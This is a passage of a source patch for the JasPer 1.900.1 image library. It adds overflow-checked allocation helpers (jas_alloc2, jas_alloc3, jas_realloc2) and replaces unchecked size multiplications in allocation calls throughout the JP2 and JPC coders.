+	if (!(image->cmpts_ = jas_alloc2(image->maxcmpts_,
 	  sizeof(jas_image_cmpt_t *)))) {
 		jas_image_destroy(image);
 		return 0;
@@ -774,8 +774,7 @@ static int jas_image_growcmpts(jas_image
 	jas_image_cmpt_t **newcmpts;
 	int cmptno;
 
-	newcmpts = (!image->cmpts_) ? jas_malloc(maxcmpts * sizeof(jas_image_cmpt_t *)) :
-	  jas_realloc(image->cmpts_, maxcmpts * sizeof(jas_image_cmpt_t *));
+	newcmpts = jas_realloc2(image->cmpts_, maxcmpts, sizeof(jas_image_cmpt_t *));
 	if (!newcmpts) {
 		return -1;
 	}
diff -pruN jasper-1.900.1.orig/src/libjasper/base/jas_malloc.c jasper-1.900.1/src/libjasper/base/jas_malloc.c
--- jasper-1.900.1.orig/src/libjasper/base/jas_malloc.c	2007-01-19 22:43:05.000000000 +0100
+++ jasper-1.900.1/src/libjasper/base/jas_malloc.c	2009-10-22 10:27:45.000000000 +0200
@@ -76,6 +76,9 @@
 
 /* We need the prototype for memset. */
 #include <string.h>
+#include <limits.h>
+#include <errno.h>
+#include <stdint.h>
 
 #include "jasper/jas_malloc.h"
 
@@ -113,18 +116,50 @@ void jas_free(void *ptr)
 
 void *jas_realloc(void *ptr, size_t size)
 {
-	return realloc(ptr, size);
+	return ptr ? realloc(ptr, size) : malloc(size);
 }
 
-void *jas_calloc(size_t nmemb, size_t size)
+void *jas_realloc2(void *ptr, size_t nmemb, size_t size)
+{
+	if (!ptr)
+		return jas_alloc2(nmemb, size);
+	if (nmemb && SIZE_MAX / nmemb < size) {
+		errno = ENOMEM;
+		return NULL;
+	}
+	return jas_realloc(ptr, nmemb * size);
+
+}
+
+void *jas_alloc2(size_t nmemb, size_t size)
+{
+	if (nmemb && SIZE_MAX / nmemb < size) {
+		errno = ENOMEM;
+		return NULL;
+	}
+
+	return jas_malloc(nmemb * size);
+}
+
+void *jas_alloc3(size_t a, size_t b, size_t c)
 {
-	void *ptr;
 	size_t n;
-	n = nmemb * size;
-	if (!(ptr = jas_malloc(n * sizeof(char)))) {
-		return 0;
+
+	if (a && SIZE_MAX / a < b) {
+		errno = ENOMEM;
+		return NULL;
 	}
-	memset(ptr, 0, n);
+
+	return jas_alloc2(a*b, c);
+}
+
+void *jas_calloc(size_t nmemb, size_t size)
+{
+	void *ptr;
+
+	ptr = jas_alloc2(nmemb, size);
+	if (ptr)
+		memset(ptr, 0, nmemb*size);
 	return ptr;
 }
 
diff -pruN jasper-1.900.1.orig/src/libjasper/base/jas_seq.c jasper-1.900.1/src/libjasper/base/jas_seq.c
--- jasper-1.900.1.orig/src/libjasper/base/jas_seq.c	2007-01-19 22:43:05.000000000 +0100
+++ jasper-1.900.1/src/libjasper/base/jas_seq.c	2009-10-22 10:27:45.000000000 +0200
@@ -114,7 +114,7 @@ jas_matrix_t *jas_matrix_create(int numr
 	matrix->datasize_ = numrows * numcols;
 
 	if (matrix->maxrows_ > 0) {
-		if (!(matrix->rows_ = jas_malloc(matrix->maxrows_ *
+		if (!(matrix->rows_ = jas_alloc2(matrix->maxrows_,
 		  sizeof(jas_seqent_t *)))) {
 			jas_matrix_destroy(matrix);
 			return 0;
@@ -122,7 +122,7 @@ jas_matrix_t *jas_matrix_create(int numr
 	}
 
 	if (matrix->datasize_ > 0) {
-		if (!(matrix->data_ = jas_malloc(matrix->datasize_ *
+		if (!(matrix->data_ = jas_alloc2(matrix->datasize_,
 		  sizeof(jas_seqent_t)))) {
 			jas_matrix_destroy(matrix);
 			return 0;
@@ -220,7 +220,7 @@ void jas_matrix_bindsub(jas_matrix_t *ma
 	mat0->numrows_ = r1 - r0 + 1;
 	mat0->numcols_ = c1 - c0 + 1;
 	mat0->maxrows_ = mat0->numrows_;
-	mat0->rows_ = jas_malloc(mat0->maxrows_ * sizeof(jas_seqent_t *));
+	mat0->rows_ = jas_alloc2(mat0->maxrows_, sizeof(jas_seqent_t *));
 	for (i = 0; i < mat0->numrows_; ++i) {
 		mat0->rows_[i] = mat1->rows_[r0 + i] + c0;
 	}
diff -pruN jasper-1.900.1.orig/src/libjasper/base/jas_stream.c jasper-1.900.1/src/libjasper/base/jas_stream.c
--- jasper-1.900.1.orig/src/libjasper/base/jas_stream.c	2007-01-19 22:43:05.000000000 +0100
+++ jasper-1.900.1/src/libjasper/base/jas_stream.c	2009-10-22 10:27:45.000000000 +0200
@@ -212,7 +212,7 @@ jas_stream_t *jas_stream_memopen(char *b
 	if (buf) {
 		obj->buf_ = (unsigned char *) buf;
 	} else {
-		obj->buf_ = jas_malloc(obj->bufsize_ * sizeof(char));
+		obj->buf_ = jas_malloc(obj->bufsize_);
 		obj->myalloc_ = 1;
 	}
 	if (!obj->buf_) {
@@ -992,7 +992,7 @@ static int mem_resize(jas_stream_memobj_
 	unsigned char *buf;
 
 	assert(m->buf_);
-	if (!(buf = jas_realloc(m->buf_, bufsize * sizeof(unsigned char)))) {
+	if (!(buf = jas_realloc(m->buf_, bufsize))) {
 		return -1;
 	}
 	m->buf_ = buf;
diff -pruN jasper-1.900.1.orig/src/libjasper/bmp/bmp_dec.c jasper-1.900.1/src/libjasper/bmp/bmp_dec.c
--- jasper-1.900.1.orig/src/libjasper/bmp/bmp_dec.c	2007-01-19 22:43:07.000000000 +0100
+++ jasper-1.900.1/src/libjasper/bmp/bmp_dec.c	2009-10-22 10:27:45.000000000 +0200
@@ -283,7 +283,7 @@ static bmp_info_t *bmp_getinfo(jas_strea
 	}
 
 	if (info->numcolors > 0) {
-		if (!(info->palents = jas_malloc(info->numcolors *
+		if (!(info->palents = jas_alloc2(info->numcolors,
 		  sizeof(bmp_palent_t)))) {
 			bmp_info_destroy(info);
 			return 0;
diff -pruN jasper-1.900.1.orig/src/libjasper/include/jasper/jas_malloc.h jasper-1.900.1/src/libjasper/include/jasper/jas_malloc.h
--- jasper-1.900.1.orig/src/libjasper/include/jasper/jas_malloc.h	2007-01-19 22:43:04.000000000 +0100
+++ jasper-1.900.1/src/libjasper/include/jasper/jas_malloc.h	2009-10-22 10:27:45.000000000 +0200
@@ -95,6 +95,9 @@ extern "C" {
 #define	jas_free	MEMFREE
 #define	jas_realloc	MEMREALLOC
 #define	jas_calloc	MEMCALLOC
+#define jas_alloc2(a, b)	MEMALLOC((a)*(b))
+#define jas_alloc3(a, b, c)	MEMALLOC((a)*(b)*(c))
+#define jas_realloc2(p, a, b)	MEMREALLOC((p), (a)*(b))
 #endif
 
 /******************************************************************************\
@@ -115,6 +118,12 @@ void *jas_realloc(void *ptr, size_t size
 /* Allocate a block of memory and initialize the contents to zero. */
 void *jas_calloc(size_t nmemb, size_t size);
 
+/* size-checked double allocation .*/
+void *jas_alloc2(size_t, size_t);
+
+void *jas_alloc3(size_t, size_t, size_t);
+
+void *jas_realloc2(void *, size_t, size_t);
 #endif
 
 #ifdef __cplusplus
diff -pruN jasper-1.900.1.orig/src/libjasper/jp2/jp2_cod.c jasper-1.900.1/src/libjasper/jp2/jp2_cod.c
--- jasper-1.900.1.orig/src/libjasper/jp2/jp2_cod.c	2007-01-19 22:43:05.000000000 +0100
+++ jasper-1.900.1/src/libjasper/jp2/jp2_cod.c	2009-10-22 10:30:24.000000000 +0200
@@ -247,7 +247,7 @@ jp2_box_t *jp2_box_get(jas_stream_t *in)
 	box = 0;
 	tmpstream = 0;
 
-	if (!(box = jas_malloc(sizeof(jp2_box_t)))) {
+	if (!(box = jas_calloc(1, sizeof(jp2_box_t)))) {
 		goto error;
 	}
 	box->ops = &jp2_boxinfo_unk.ops;
@@ -372,7 +372,7 @@ static int jp2_bpcc_getdata(jp2_box_t *b
 	jp2_bpcc_t *bpcc = &box->data.bpcc;
 	unsigned int i;
 	bpcc->numcmpts = box->datalen;
-	if (!(bpcc->bpcs = jas_malloc(bpcc->numcmpts * sizeof(uint_fast8_t)))) {
+	if (!(bpcc->bpcs = jas_alloc2(bpcc->numcmpts, sizeof(uint_fast8_t)))) {
 		return -1;
 	}
 	for (i = 0; i < bpcc->numcmpts; ++i) {
@@ -416,7 +416,7 @@ static int jp2_colr_getdata(jp2_box_t *b
 		break;
 	case JP2_COLR_ICC:
 		colr->iccplen = box->datalen - 3;
-		if (!(colr->iccp = jas_malloc(colr->iccplen * sizeof(uint_fast8_t)))) {
+		if (!(colr->iccp = jas_alloc2(colr->iccplen, sizeof(uint_fast8_t)))) {
 			return -1;
 		}
 		if (jas_stream_read(in, colr->iccp, colr->iccplen) != colr->iccplen) {
@@ -453,7 +453,7 @@ static int jp2_cdef_getdata(jp2_box_t *b
 	if (jp2_getuint16(in, &cdef->numchans)) {
 		return -1;
 	}
-	if (!(cdef->ents = jas_malloc(cdef->numchans * sizeof(jp2_cdefchan_t)))) {
+	if (!(cdef->ents = jas_alloc2(cdef->numchans, sizeof(jp2_cdefchan_t)))) {
 		return -1;
 	}
 	for (channo = 0; channo < cdef->numchans; ++channo) {
@@ -766,7 +766,7 @@ static int jp2_cmap_getdata(jp2_box_t *b
 	unsigned int i;
 
 	cmap->numchans = (box->datalen) / 4;
-	if (!(cmap->ents = jas_malloc(cmap->numchans * sizeof(jp2_cmapent_t)))) {
+	if (!(cmap->ents = jas_alloc2(cmap->numchans, sizeof(jp2_cmapent_t)))) {
 		return -1;
 	}
 	for (i = 0; i < cmap->numchans; ++i) {
@@ -828,10 +828,10 @@ static int jp2_pclr_getdata(jp2_box_t *b
 		return -1;
 	}
 	lutsize = pclr->numlutents * pclr->numchans;
-	if (!(pclr->lutdata = jas_malloc(lutsize * sizeof(int_fast32_t)))) {
+	if (!(pclr->lutdata = jas_alloc2(lutsize, sizeof(int_fast32_t)))) {
 		return -1;
 	}
-	if (!(pclr->bpc = jas_malloc(pclr->numchans * sizeof(uint_fast8_t)))) {
+	if (!(pclr->bpc = jas_alloc2(pclr->numchans, sizeof(uint_fast8_t)))) {
 		return -1;
 	}
 	for (i = 0; i < pclr->numchans; ++i) {
diff -pruN jasper-1.900.1.orig/src/libjasper/jp2/jp2_dec.c jasper-1.900.1/src/libjasper/jp2/jp2_dec.c
--- jasper-1.900.1.orig/src/libjasper/jp2/jp2_dec.c	2007-01-19 22:43:05.000000000 +0100
+++ jasper-1.900.1/src/libjasper/jp2/jp2_dec.c	2009-10-22 10:27:45.000000000 +0200
@@ -336,7 +336,7 @@ jas_image_t *jp2_decode(jas_stream_t *in
 	}
 
 	/* Allocate space for the channel-number to component-number LUT. */
-	if (!(dec->chantocmptlut = jas_malloc(dec->numchans * sizeof(uint_fast16_t)))) {
+	if (!(dec->chantocmptlut = jas_alloc2(dec->numchans, sizeof(uint_fast16_t)))) {
 		jas_eprintf("error: no memory\n");
 		goto error;
 	}
@@ -354,7 +354,7 @@ jas_image_t *jp2_decode(jas_stream_t *in
 			if (cmapent->map == JP2_CMAP_DIRECT) {
 				dec->chantocmptlut[channo] = channo;
 			} else if (cmapent->map == JP2_CMAP_PALETTE) {
-				lutents = jas_malloc(pclrd->numlutents * sizeof(int_fast32_t));
+				lutents = jas_alloc2(pclrd->numlutents, sizeof(int_fast32_t));
 				for (i = 0; i < pclrd->numlutents; ++i) {
 					lutents[i] = pclrd->lutdata[cmapent->pcol + i * pclrd->numchans];
 				}
diff -pruN jasper-1.900.1.orig/src/libjasper/jp2/jp2_enc.c jasper-1.900.1/src/libjasper/jp2/jp2_enc.c
--- jasper-1.900.1.orig/src/libjasper/jp2/jp2_enc.c	2007-01-19 22:43:05.000000000 +0100
+++ jasper-1.900.1/src/libjasper/jp2/jp2_enc.c	2009-10-22 10:27:45.000000000 +0200
@@ -191,7 +191,7 @@ int sgnd;
 		}
 		bpcc = &box->data.bpcc;
 		bpcc->numcmpts = jas_image_numcmpts(image);
-		if (!(bpcc->bpcs = jas_malloc(bpcc->numcmpts *
+		if (!(bpcc->bpcs = jas_alloc2(bpcc->numcmpts,
 		  sizeof(uint_fast8_t)))) {
 			goto error;
 		}
@@ -285,7 +285,7 @@ int sgnd;
 		}
 		cdef = &box->data.cdef;
 		cdef->numchans = jas_image_numcmpts(image);
-		cdef->ents = jas_malloc(cdef->numchans * sizeof(jp2_cdefchan_t));
+		cdef->ents = jas_alloc2(cdef->numchans, sizeof(jp2_cdefchan_t));
 		for (i = 0; i < jas_image_numcmpts(image); ++i) {
 			cdefchanent = &cdef->ents[i];
 			cdefchanent->channo = i;
diff -pruN jasper-1.900.1.orig/src/libjasper/jpc/jpc_cs.c jasper-1.900.1/src/libjasper/jpc/jpc_cs.c
--- jasper-1.900.1.orig/src/libjasper/jpc/jpc_cs.c	2009-10-22 09:58:16.000000000 +0200
+++ jasper-1.900.1/src/libjasper/jpc/jpc_cs.c	2009-10-22 10:27:45.000000000 +0200
@@ -502,7 +502,7 @@ static int jpc_siz_getparms(jpc_ms_t *ms
 	  !siz->tileheight || !siz->numcomps) {
 		return -1;
 	}
-	if (!(siz->comps = jas_malloc(siz->numcomps * sizeof(jpc_sizcomp_t)))) {
+	if (!(siz->comps = jas_alloc2(siz->numcomps, sizeof(jpc_sizcomp_t)))) {
 		return -1;
 	}
 	for (i = 0; i < siz->numcomps; ++i) {
@@ -986,7 +986,7 @@ static int jpc_qcx_getcompparms(jpc_qcxc
 		jpc_qcx_destroycompparms(compparms);
                 return -1;
         } else if (compparms->numstepsizes > 0) {
-		compparms->stepsizes = jas_malloc(compparms->numstepsizes *
+		compparms->stepsizes = jas_alloc2(compparms->numstepsizes,
 		  sizeof(uint_fast16_t));
 		assert(compparms->stepsizes);
 		for (i = 0; i < compparms->numstepsizes; ++i) {
@@ -1094,7 +1094,7 @@ static int jpc_ppm_getparms(jpc_ms_t *ms
 
 	ppm->len = ms->len - 1;
 	if (ppm->len > 0) {
-		if (!(ppm->data = jas_malloc(ppm->len * sizeof(unsigned char)))) {
+		if (!(ppm->data = jas_malloc(ppm->len))) {
 			goto error;
 		}
 		if (JAS_CAST(uint, jas_stream_read(in, ppm->data, ppm->len)) != ppm->len) {
@@ -1163,7 +1163,7 @@ static int jpc_ppt_getparms(jpc_ms_t *ms
 	}
 	ppt->len = ms->len - 1;
 	if (ppt->len > 0) {
-		if (!(ppt->data = jas_malloc(ppt->len * sizeof(unsigned char)))) {
+		if (!(ppt->data = jas_malloc(ppt->len))) {
 			goto error;
 		}
 		if (jas_stream_read(in, (char *) ppt->data, ppt->len) != JAS_CAST(int, ppt->len)) {
@@ -1226,7 +1226,7 @@ static int jpc_poc_getparms(jpc_ms_t *ms
 	uint_fast8_t tmp;
 	poc->numpchgs = (cstate->numcomps > 256) ? (ms->len / 9) :
 	  (ms->len / 7);
-	if (!(poc->pchgs = jas_malloc(poc->numpchgs * sizeof(jpc_pocpchg_t)))) {
+	if (!(poc->pchgs = jas_alloc2(poc->numpchgs, sizeof(jpc_pocpchg_t)))) {
 		goto error;
 	}
 	for (pchgno = 0, pchg = poc->pchgs; pchgno < poc->numpchgs; ++pchgno,
@@ -1331,7 +1331,7 @@ static int jpc_crg_getparms(jpc_ms_t *ms
 	jpc_crgcomp_t *comp;
 	uint_fast16_t compno;
 	crg->numcomps = cstate->numcomps;
-	if (!(crg->comps = jas_malloc(cstate->numcomps * sizeof(uint_fast16_t)))) {
+	if (!(crg->comps = jas_alloc2(cstate->numcomps, sizeof(uint_fast16_t)))) {
 		return -1;
 	}
 	for (compno = 0, comp = crg->comps; compno < cstate->numcomps;
@@ -1470,7 +1470,7 @@ static int jpc_unk_getparms(jpc_ms_t *ms
 	cstate = 0;
 
 	if (ms->len > 0) {
-		if (!(unk->data = jas_malloc(ms->len * sizeof(unsigned char)))) {
+		if (!(unk->data = jas_malloc(ms->len))) {
 			return -1;
 		}
 		if (jas_stream_read(in, (char *) unk->data, ms->len) != JAS_CAST(int, ms->len)) {
diff -pruN jasper-1.900.1.orig/src/libjasper/jpc/jpc_dec.c jasper-1.900.1/src/libjasper/jpc/jpc_dec.c
--- jasper-1.900.1.orig/src/libjasper/jpc/jpc_dec.c	2009-10-22 09:58:16.000000000 +0200
+++ jasper-1.900.1/src/libjasper/jpc/jpc_dec.c	2009-10-22 10:30:50.000000000 +0200
@@ -449,7 +449,7 @@ static int jpc_dec_process_sot(jpc_dec_t
 
 	if (dec->state == JPC_MH) {
 
-		compinfos = jas_malloc(dec->numcomps * sizeof(jas_image_cmptparm_t));
+		compinfos = jas_alloc2(dec->numcomps, sizeof(jas_image_cmptparm_t));
 		assert(compinfos);
 		for (cmptno = 0, cmpt = dec->cmpts, compinfo = compinfos;
 		  cmptno < dec->numcomps; ++cmptno, ++cmpt, ++compinfo) {
@@ -692,7 +692,7 @@ static int jpc_dec_tileinit(jpc_dec_t *d
 			tile->realmode = 1;
 		}
 		tcomp->numrlvls = ccp->numrlvls;
-		if (!(tcomp->rlvls = jas_malloc(tcomp->numrlvls *
+		if (!(tcomp->rlvls = jas_alloc2(tcomp->numrlvls,
 		  sizeof(jpc_dec_rlvl_t)))) {
 			return -1;
 		}
@@ -764,7 +764,7 @@ rlvl->bands = 0;
 			  rlvl->cbgheightexpn);
 
 			rlvl->numbands = (!rlvlno) ? 1 : 3;
-			if (!(rlvl->bands = jas_malloc(rlvl->numbands *
+			if (!(rlvl->bands = jas_alloc2(rlvl->numbands,
 			  sizeof(jpc_dec_band_t)))) {
 				return -1;
 			}
@@ -797,7 +797,7 @@ rlvl->bands = 0;
 
 				assert(rlvl->numprcs);
 
-				if (!(band->prcs = jas_malloc(rlvl->numprcs * sizeof(jpc_dec_prc_t)))) {
+				if (!(band->prcs = jas_alloc2(rlvl->numprcs, sizeof(jpc_dec_prc_t)))) {
 					return -1;
 				}
 
@@ -834,7 +834,7 @@ rlvl->bands = 0;
 			if (!(prc->numimsbstagtree = jpc_tagtree_create(prc->numhcblks, prc->numvcblks))) {
 				return -1;
 			}
-			if (!(prc->cblks = jas_malloc(prc->numcblks * sizeof(jpc_dec_cblk_t)))) {
+			if (!(prc->cblks = jas_alloc2(prc->numcblks, sizeof(jpc_dec_cblk_t)))) {
 				return -1;
 			}
 
@@ -1181,7 +1181,7 @@ static int jpc_dec_process_siz(jpc_dec_t
 		return -1;
 	}
 
-	if (!(dec->cmpts = jas_malloc(dec->numcomps * sizeof(jpc_dec_cmpt_t)))) {
+	if (!(dec->cmpts = jas_alloc2(dec->numcomps, sizeof(jpc_dec_cmpt_t)))) {
 		return -1;
 	}
 
@@ -1204,7 +1204,7 @@ static int jpc_dec_process_siz(jpc_dec_t
 	dec->numhtiles = JPC_CEILDIV(dec->xend - dec->tilexoff, dec->tilewidth);
 	dec->numvtiles = JPC_CEILDIV(dec->yend - dec->tileyoff, dec->tileheight);
 	dec->numtiles = dec->numhtiles * dec->numvtiles;
-	if (!(dec->tiles = jas_malloc(dec->numtiles * sizeof(jpc_dec_tile_t)))) {
+	if (!(dec->tiles = jas_calloc(dec->numtiles, sizeof(jpc_dec_tile_t)))) {
 		return -1;
 	}
 
@@ -1228,7 +1228,7 @@ static int jpc_dec_process_siz(jpc_dec_t
 		tile->pkthdrstreampos = 0;
 		tile->pptstab = 0;
 		tile->cp = 0;
-		if (!(tile->tcomps = jas_malloc(dec->numcomps *
+		if (!(tile->tcomps = jas_calloc(dec->numcomps,
 		  sizeof(jpc_dec_tcomp_t)))) {
 			return -1;
 		}
@@ -1489,7 +1489,7 @@ static jpc_dec_cp_t *jpc_dec_cp_create(u
 	cp->numlyrs = 0;
 	cp->mctid = 0;
 	cp->csty = 0;
-	if (!(cp->ccps = jas_malloc(cp->numcomps * sizeof(jpc_dec_ccp_t)))) {
+	if (!(cp->ccps = jas_alloc2(cp->numcomps, sizeof(jpc_dec_ccp_t)))) {
 		return 0;
 	}
 	if (!(cp->pchglist = jpc_pchglist_create())) {
@@ -2048,7 +2048,7 @@ jpc_streamlist_t *jpc_streamlist_create(
 	}
 	streamlist->numstreams = 0;
 	streamlist->maxstreams = 100;
-	if (!(streamlist->streams = jas_malloc(streamlist->maxstreams *
+	if (!(streamlist->streams = jas_alloc2(streamlist->maxstreams,
 	  sizeof(jas_stream_t *)))) {
 		jas_free(streamlist);
 		return 0;
@@ -2068,8 +2068,8 @@ int jpc_streamlist_insert(jpc_streamlist
 	/* Grow the array of streams if necessary. */
 	if (streamlist->numstreams >= streamlist->maxstreams) {
 		newmaxstreams = streamlist->maxstreams + 1024;
-		if (!(newstreams = jas_realloc(streamlist->streams,
-		  (newmaxstreams + 1024) * sizeof(jas_stream_t *)))) {
+		if (!(newstreams = jas_realloc2(streamlist->streams,
+		  (newmaxstreams + 1024), sizeof(jas_stream_t *)))) {
 			return -1;
 		}
 		for (i = streamlist->numstreams; i < streamlist->maxstreams; ++i) {
@@ -2155,8 +2155,7 @@ int jpc_ppxstab_grow(jpc_ppxstab_t *tab,
 {
 	jpc_ppxstabent_t **newents;
 	if (tab->maxents < maxents) {
-		newents = (tab->ents) ? jas_realloc(tab->ents, maxents *
-		  sizeof(jpc_ppxstabent_t *)) : jas_malloc(maxents * sizeof(jpc_ppxstabent_t *));
+		newents = jas_realloc2(tab->ents, maxents, sizeof(jpc_ppxstabent_t *));
 		if (!newents) {
 			return -1;
 		}
diff -pruN jasper-1.900.1.orig/src/libjasper/jpc/jpc_enc.c jasper-1.900.1/src/libjasper/jpc/jpc_enc.c
--- jasper-1.900.1.orig/src/libjasper/jpc/jpc_enc.c	2007-01-19 22:43:07.000000000 +0100
+++ jasper-1.900.1/src/libjasper/jpc/jpc_enc.c	2009-10-22 10:27:45.000000000 +0200
@@ -403,7 +403,7 @@ static jpc_enc_cp_t *cp_create(char *opt
 		vsteplcm *= jas_image_cmptvstep(image, cmptno);
 	}
 
-	if (!(cp->ccps = jas_malloc(cp->numcmpts * sizeof(jpc_enc_ccp_t)))) {
+	if (!(cp->ccps = jas_alloc2(cp->numcmpts, sizeof(jpc_enc_ccp_t)))) {
 		goto error;
 	}
 	for (cmptno = 0, ccp = cp->ccps; cmptno < JAS_CAST(int, cp->numcmpts); ++cmptno,
@@ -656,7 +656,7 @@ static jpc_enc_cp_t *cp_create(char *opt
 
 	if (ilyrrates && numilyrrates > 0) {
 		tcp->numlyrs = numilyrrates + 1;
-		if (!(tcp->ilyrrates = jas_malloc((tcp->numlyrs - 1) *
+		if (!(tcp->ilyrrates = jas_alloc2((tcp->numlyrs - 1),
 		  sizeof(jpc_fix_t)))) {
 			goto error;
 		}
@@ -940,7 +940,7 @@ startoff = jas_stream_getrwcount(enc->ou
 	siz->tilewidth = cp->tilewidth;
 	siz->tileheight = cp->tileheight;
 	siz->numcomps = cp->numcmpts;
-	siz->comps = jas_malloc(siz->numcomps * sizeof(jpc_sizcomp_t));
+	siz->comps = jas_alloc2(siz->numcomps, sizeof(jpc_sizcomp_t));
 	assert(siz->comps);
 	for (i = 0; i < JAS_CAST(int, cp->numcmpts); ++i) {
 		siz->comps[i].prec = cp->ccps[i].prec;
@@ -977,7 +977,7 @@ startoff = jas_stream_getrwcount(enc->ou
 		return -1;
 	}
 	crg = &enc->mrk->parms.crg;
-	crg->comps = jas_malloc(crg->numcomps * sizeof(jpc_crgcomp_t));
+	crg->comps = jas_alloc2(crg->numcomps, sizeof(jpc_crgcomp_t));
 	if (jpc_putms(enc->out, enc->cstate, enc->mrk)) {
 		jas_eprintf("cannot write CRG marker\n");
 		return -1;
@@ -1955,7 +1955,7 @@ jpc_enc_tile_t *jpc_enc_tile_create(jpc_
 	tile->mctid = cp->tcp.mctid;
 
 	tile->numlyrs = cp->tcp.numlyrs;
-	if (!(tile->lyrsizes = jas_malloc(tile->numlyrs *
+	if (!(tile->lyrsizes = jas_alloc2(tile->numlyrs,
 	  sizeof(uint_fast32_t)))) {
 		goto error;
 	}
@@ -1964,7 +1964,7 @@ jpc_enc_tile_t *jpc_enc_tile_create(jpc_
 	}
 
 	/* Allocate an array for the per-tile-component information. */
-	if (!(tile->tcmpts = jas_malloc(cp->numcmpts * sizeof(jpc_enc_tcmpt_t)))) {
+	if (!(tile->tcmpts = jas_alloc2(cp->numcmpts, sizeof(jpc_enc_tcmpt_t)))) {
 		goto error;
 	}
 	/* Initialize a few members critical for error recovery. */
@@ -2110,7 +2110,7 @@ static jpc_enc_tcmpt_t *tcmpt_create(jpc
 	  jas_seq2d_ystart(tcmpt->data), jas_seq2d_xend(tcmpt->data),
 	  jas_seq2d_yend(tcmpt->data), bandinfos);
 
-	if (!(tcmpt->rlvls = jas_malloc(tcmpt->numrlvls * sizeof(jpc_enc_rlvl_t)))) {
+	if (!(tcmpt->rlvls = jas_alloc2(tcmpt->numrlvls, sizeof(jpc_enc_rlvl_t)))) {
 		goto error;
 	}
 	for (rlvlno = 0, rlvl = tcmpt->rlvls; rlvlno < tcmpt->numrlvls;
@@ -2213,7 +2213,7 @@ static jpc_enc_rlvl_t *rlvl_create(jpc_e
 	rlvl->numvprcs = JPC_FLOORDIVPOW2(brprcbry - tlprctly, rlvl->prcheightexpn);
 	rlvl->numprcs = rlvl->numhprcs * rlvl->numvprcs;
 
-	if (!(rlvl->bands = jas_malloc(rlvl->numbands * sizeof(jpc_enc_band_t)))) {
+	if (!(rlvl->bands = jas_alloc2(rlvl->numbands, sizeof(jpc_enc_band_t)))) {
 		goto error;
 	}
 	for (bandno = 0, band = rlvl->bands; bandno < rlvl->numbands;
@@ -2290,7 +2290,7 @@ if (bandinfo->xstart != bandinfo->xend &
 	band->synweight = bandinfo->synenergywt;
 
 if (band->data) {
-	if (!(band->prcs = jas_malloc(rlvl->numprcs * sizeof(jpc_enc_prc_t)))) {
+	if (!(band->prcs = jas_alloc2(rlvl->numprcs, sizeof(jpc_enc_prc_t)))) {
 		goto error;
 	}
 	for (prcno = 0, prc = band->prcs; prcno < rlvl->numprcs; ++prcno,
@@ -2422,7 +2422,7 @@ if (!rlvlno) {
 			goto error;
 		}
 
-		if (!(prc->cblks = jas_malloc(prc->numcblks * sizeof(jpc_enc_cblk_t)))) {
+		if (!(prc->cblks = jas_alloc2(prc->numcblks, sizeof(jpc_enc_cblk_t)))) {
 			goto error;
 		}
 		for (cblkno = 0, cblk = prc->cblks; cblkno < prc->numcblks;
diff -pruN jasper-1.900.1.orig/src/libjasper/jpc/jpc_mqdec.c jasper-1.900.1/src/libjasper/jpc/jpc_mqdec.c
--- jasper-1.900.1.orig/src/libjasper/jpc/jpc_mqdec.c	2007-01-19 22:43:07.000000000 +0100
+++ jasper-1.900.1/src/libjasper/jpc/jpc_mqdec.c	2009-10-22 10:27:45.000000000 +0200
@@ -118,7 +118,7 @@ jpc_mqdec_t *jpc_mqdec_create(int maxctx
 	mqdec->in = in;
 	mqdec->maxctxs = maxctxs;
 	/* Allocate memory for the per-context state information. */
-	if (!(mqdec->ctxs = jas_malloc(mqdec->maxctxs * sizeof(jpc_mqstate_t *)))) {
+	if (!(mqdec->ctxs = jas_alloc2(mqdec->maxctxs, sizeof(jpc_mqstate_t *)))) {
 		goto error;
 	}
 	/* Set the current context to the first context. */
diff -pruN jasper-1.900.1.orig/src/libjasper/jpc/jpc_mqenc.c jasper-1.900.1/src/libjasper/jpc/jpc_mqenc.c
--- jasper-1.900.1.orig/src/libjasper/jpc/jpc_mqenc.c	2007-01-19 22:43:07.000000000 +0100
+++ jasper-1.900.1/src/libjasper/jpc/jpc_mqenc.c	2009-10-22 10:27:45.000000000 +0200
@@ -197,7 +197,7 @@ jpc_mqenc_t *jpc_mqenc_create(int maxctx
 	mqenc->maxctxs = maxctxs;
 
 	/* Allocate memory for the per-context state information. */
-	if (!(mqenc->ctxs = jas_malloc(mqenc->maxctxs * sizeof(jpc_mqstate_t *)))) {
+	if (!(mqenc->ctxs = jas_alloc2(mqenc->maxctxs, sizeof(jpc_mqstate_t *)))) {
 		goto error;
 	}
 
diff -pruN jasper-1.900.1.orig/src/libjasper/jpc/jpc_qmfb.c jasper-1.900.1/src/libjasper/jpc/jpc_qmfb.c
--- jasper-1.900.1.orig/src/libjasper/jpc/jpc_qmfb.c	2007-01-19 22:43:07.000000000 +0100
+++ jasper-1.900.1/src/libjasper/jpc/jpc_qmfb.c	2009-10-22 10:27:45.000000000 +0200
@@ -321,7 +321,7 @@ void jpc_qmfb_split_row(jpc_fix_t *a, in
 #if !defined(HAVE_VLA)
 	/* Get a buffer. */
 	if (bufsize > QMFB_SPLITBUFSIZE) {
-		if (!(buf = jas_malloc(bufsize * sizeof(jpc_fix_t)))) {
+		if (!(buf = jas_alloc2(bufsize, sizeof(jpc_fix_t)))) {
 			/* We have no choice but to commit suicide in this case. */
 			abort();
 		}
@@ -389,7 +389,7 @@ void jpc_qmfb_split_col(jpc_fix_t *a, in
 #if !defined(HAVE_VLA)
 	/* Get a buffer. */
 	if (bufsize > QMFB_SPLITBUFSIZE) {
-		if (!(buf = jas_malloc(bufsize * sizeof(jpc_fix_t)))) {
+		if (!(buf = jas_alloc2(bufsize, sizeof(jpc_fix_t)))) {
 			/* We have no choice but to commit suicide in this case. */
 			abort();
 		}
@@ -460,7 +460,7 @@ void jpc_qmfb_split_colgrp(jpc_fix_t *a,
 #if !defined(HAVE_VLA)
 	/* Get a buffer. */
 	if (bufsize > QMFB_SPLITBUFSIZE) {
-		if (!(buf = jas_malloc(bufsize * sizeof(jpc_fix_t)))) {
+		if (!(buf = jas_alloc2(bufsize, sizeof(jpc_fix_t)))) {
 			/* We have no choice but to commit suicide in this case. */
 			abort();
 		}
@@ -549,7 +549,7 @@ void jpc_qmfb_split_colres(jpc_fix_t *a,
 #if !defined(HAVE_VLA)
 	/* Get a buffer. */
 	if (bufsize > QMFB_SPLITBUFSIZE) {
-		if (!(buf = jas_malloc(bufsize * sizeof(jpc_fix_t)))) {
+		if (!(buf = jas_alloc2(bufsize, sizeof(jpc_fix_t)))) {
 			/* We have no choice but to commit suicide in this case. */
 			abort();
 		}
